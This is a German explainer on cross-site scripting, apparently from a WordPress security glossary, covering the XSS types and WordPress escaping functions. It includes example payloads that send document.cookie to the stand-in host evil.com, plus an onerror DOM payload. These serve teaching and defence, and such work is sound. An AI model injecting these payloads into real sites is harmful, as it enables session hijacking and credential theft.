XSS

Was ist XSS?

Cross-Site Scripting (XSS) ist eine Klasse von Sicherheitslücken in Webanwendungen, bei der ein Angreifer schadhaften JavaScript-Code in Seiten einschleust, die anderen Nutzern ausgeliefert werden. Der Begriff ist historisch etwas irreführend — es geht nicht primär darum, dass Code von einer anderen Site kommt, sondern darum, dass fremder Code im Kontext einer vertrauenswürdigen Site ausgeführt wird.

XSS ist seit Jahren eine der häufigsten Schwachstellen im Web und wird im OWASP Top 10 konsequent aufgeführt. Für WordPress ist XSS der häufigste Schwachstellentyp in Plugins und Themes: Tausende CVEs (Common Vulnerabilities and Exposures) gegen WordPress-Erweiterungen betreffen nicht-escapte Ausgaben, die XSS ermöglichen.

Warum XSS so gefährlich ist: JavaScript läuft im Sicherheitskontext der Website, auf der es ausgeführt wird. Ein eingeschleuster Script hat Zugriff auf alle Daten, die die legitime Seite auch hätte — Cookies, localStorage, den gesamten DOM. Der Browser des Opfers kann nicht unterscheiden, ob ein Script vom legitimen Seitenbetreiber oder von einem Angreifer stammt.

Wie funktioniert XSS?

Es gibt drei grundlegende Typen von XSS, die sich im Mechanismus der Script-Einschleusung unterscheiden:

Typ 1 — Reflected XSS: Der schadhafe Code ist in einem Link oder einer Anfrage enthalten und wird vom Server sofort in die Antwort eingebettet, ohne persistiert zu werden.

Beispiel: Eine Suchfunktion gibt den Suchbegriff unkodiert zurück:

GET /search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>

Wenn der Server antwortet: Du hast nach: <script>...</script> gesucht, wird der Code im Browser des Opfers ausgeführt. Der Angreifer muss das Opfer dazu bringen, diesen Link zu öffnen (z.B. per E-Mail, Phishing-Nachricht).

Typ 2 — Stored (Persistent) XSS: Der schadhafte Code wird in der Datenbank gespeichert und bei jedem Seitenaufruf ausgegeben. Das ist die gefährlichste Variante: Alle Besucher der Seite sind betroffen, nicht nur jemand, der auf einen speziellen Link geklickt hat.

Beispiel: Ein Kommentarfeld in WordPress gibt Kommentare ohne HTML-Escaping aus:

<!-- Angreifer speichert als Kommentar: -->
<script>fetch('https://evil.com/log?k='+document.cookie)</script>

<!-- Jeder Besucher des Artikels führt diesen Code aus -->

Typ 3 — DOM-based XSS: Der schadhafte Code manipuliert das Document Object Model direkt im Browser, ohne dass der Server beteiligt ist. Typischerweise liest JavaScript einen Wert aus einer unsicheren Quelle (URL-Fragment #, localStorage, postMessage) und schreibt ihn ohne Sanitizing in den DOM.

Beispiel:

// Verwundbarer Code:
document.getElementById('output').innerHTML = location.hash.substring(1);
// Angreifer-URL: https://example.com/#<img src=x onerror=alert(1)>

XSS in der WordPress-Praxis

WordPress schützt an vielen Stellen automatisch gegen XSS, aber die Angriffsfläche ist enorm:

Häufige XSS-Quellen in WordPress:

• Schlecht geschriebene Plugins: Ausgabe von POST/GET-Parametern ohne esc_html(), esc_attr(), wp_kses()
• Custom Shortcodes: Wenn Attribute direkt in HTML eingefügt werden
• REST API: Nicht-sanitisierte Eingaben die wieder ausgegeben werden
• Widget-Einstellungen: Admin-Bereich Felder ohne Escaping
• jQuery-basierte Themes: $(selector).html(userInput) statt .text()

WordPress-Schutzfunktionen:

// IMMER beim Ausgaben von User-Input verwenden:
echo esc_html($user_input);           // Für Fließtext
echo esc_attr($user_input);           // Für HTML-Attribute
echo esc_url($user_input);            // Für URLs
echo wp_kses_post($user_input);       // Für erlaubtes HTML (Posts)
echo wp_kses($user_input, $allowed);  // Für definiertes erlaubtes HTML

Wichtig: sanitize_text_field() allein schützt nicht gegen XSS-in-HTML. Es entfernt Tags beim Speichern, aber die Ausgabe muss trotzdem escaped werden.

XSS im WordPress Admin: Ein XSS im Adminbereich (z.B. in einer Plugin-Einstellungsseite) ist besonders kritisch — ein Angreifer, der einen Admin dazu bringt, eine präparierte URL aufzurufen, kann damit beliebige Code-Ausführung auf dem WordPress-Server auslösen (da Admins PHP-Dateien bearbeiten können).

Was passiert bei einem erfolgreichen XSS-Angriff?

Die Konsequenzen eines XSS-Angriffs sind weitreichend:

Session Hijacking: Durch document.cookie stiehlt der Angreifer das Session-Cookie. Er kann sich damit als Opfer einloggen, ohne Benutzername oder Passwort zu kennen. Bei Admin-Session: vollständiger Server-Kompromittierung.

Keylogging: Der eingeschleuste Script kann sämtliche Tastatureingaben auf der Seite abfangen — Passwörter, Kreditkartennummern, Nachrichten.

Phishing Overlay: Der Script überblendet das legitime Login-Formular mit einem täuschend echten Fake-Formular. Das Opfer gibt seine Zugangsdaten in das Fake-Formular ein — direkt an den Angreifer.

Drive-by Download: Der Script leitet auf eine Malware-verteilende Seite weiter oder versucht direkt, Malware-Downloads auszulösen.

Persistente Backdoor: Stored XSS im WordPress-Admin kann genutzt werden, um dauerhaft einen neuen Admin-Account anzulegen oder eine PHP-Backdoor einzuschleusen.

Häufige Fragen

Warum heißt es „Cross-Site" Scripting? Der Name stammt aus den frühen 2000ern, als der Angriff primär so beschrieben wurde: Ein Script von Site A wird auf Site B ausgeführt. Die Bezeichnung ist historisch und nicht vollständig treffend, da auch Same-Site-Injektionen (Stored XSS aus eigener Datenbank) unter XSS fallen. Der Name hat sich trotzdem etabliert.

Schützt ein WAF vollständig gegen XSS? Nein. Web Application Firewalls (WAF) können bekannte XSS-Muster filtern und sind eine wichtige ergänzende Schutzschicht. Aber WAFs können umgangen werden — XSS-Payloads lassen sich so formulieren, dass einfache Mustererkennung versagt. Sicherer Programmiercode (Output Encoding) ist die einzig zuverlässige Grundlage.

Ist WordPress-Core selbst gegen XSS geschützt? WordPress-Core wird aktiv gegen XSS entwickelt und gepatcht. Die meisten XSS-Schwachstellen in WordPress-Installationen stammen aus Drittanbieter-Plugins und -Themes, nicht aus Core. Core-Funktionen wie esc_html() und wp_kses() sind bewusst entwickelt worden, um Plugin-Entwicklern sichere Ausgabe-Werkzeuge zu geben.

Verwandte Begriffe

Brute-Force · HTTPS · JWT · MIME-Sniffing